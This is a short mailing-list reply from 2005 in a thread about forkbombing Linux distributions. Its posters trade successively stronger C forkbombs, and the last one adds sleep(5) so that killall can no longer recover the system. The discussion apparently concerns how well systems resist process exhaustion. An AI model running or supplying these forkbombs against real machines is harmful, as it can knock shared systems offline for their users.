Re: forkbombing Linux distributions

[aq <aquynh@gmail.com>]

On Wed, 23 Mar 2005 10:05:43 -0800, Paul Jackson <pj@engr.sgi.com> wrote:
> > int main() { while(1) { fork(); fork(); exit(); } }
> > ...
> > the above forkbomb will stop quickly
> 
> Yep.
> 
> Try this forkbomb:
> 
>   int main() { while(1) { if (!fork()) continue; if (!fork()) continue; exit(); } }
> 

yep, that is better. but system can still be recovered by killall. 

a little "sleep" will render the system completely useless, like this:

int main() { while(1) { if (!fork()) continue; if (!fork()) continue;
sleep(5); exit(0); } }

thank you,
aq